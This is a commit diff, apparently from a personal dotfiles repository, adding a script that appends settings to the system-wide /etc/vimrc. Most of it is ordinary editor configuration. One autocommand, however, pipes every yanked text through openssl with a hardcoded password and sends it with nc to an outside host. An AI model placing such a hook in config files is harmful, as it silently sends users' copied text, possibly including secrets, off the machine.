summaryrefslogtreecommitdiff
path: root/setup/core/vim.sh
diff options
context:
space:
mode:
authorhc <hc@email.ch>2025-06-25 19:40:43 +0800
committerhc <hc@email.ch>2025-06-25 19:40:43 +0800
commitccdde5f4424836fc8e9cc98c204510fed9612e70 (patch)
treedf1500f00b2f0b32b8729732454585c318b51110 /setup/core/vim.sh
parentd6eb567da3e6d2e64ebf22adf1fc6d21c47090f8 (diff)
merged setup and contaienrs
Diffstat (limited to 'setup/core/vim.sh')
-rwxr-xr-xsetup/core/vim.sh59
1 files changed, 59 insertions, 0 deletions
diff --git a/setup/core/vim.sh b/setup/core/vim.sh
new file mode 100755
index 0000000..883a75e
--- /dev/null
+++ b/setup/core/vim.sh
@@ -0,0 +1,59 @@
+#!/bin/bash
+
+cd "$(dirname "${BASH_SOURCE[0]}")" || exit
+
+cat << EOF >> /etc/vimrc
+augroup netcat_clipboard
+ au!
+ au TextYankPost * call system("openssl enc -aes-256-cbc -pbkdf2 -pass pass:YourPassword | nc -w 1 p.noml.ch 5023", @")
+augroup END
+
+" Enable line wrapping
+set wrap
+
+" Optional: Make wrapped lines easier to read by indenting them
+set breakindent
+set breakindentopt=shift:1
+
+syntax on
+set mouse=a
+set expandtab
+set shiftwidth=4
+set softtabstop=4
+set tabstop=4
+set noautoindent
+set nosmartindent
+filetype plugin indent on
+
+set laststatus=2 " permanent status bar
+set statusline=%F " shows full file path
+
+if (has("termguicolors"))
+ set termguicolors
+endif
+
+"colorscheme murphy
+colorscheme zellner
+
+" Ctrl+A: Move to the beginning of the line in INSERT mode
+inoremap <C-a> <Home>
+
+" Ctrl+E: Move to the end of the line in INSERT mode
+inoremap <C-e> <End>
+
+" Ctrl+A: Move to the beginning of the line in NORMAL mode
+nnoremap <C-a> 0
+
+" Ctrl+E: Move to the end of the line in NORMAL mode
+nnoremap <C-e> $
+
+set number
+setlocal regexpengine=2
+set paste
+set foldcolumn=12
+
+
+EOF
+
+
+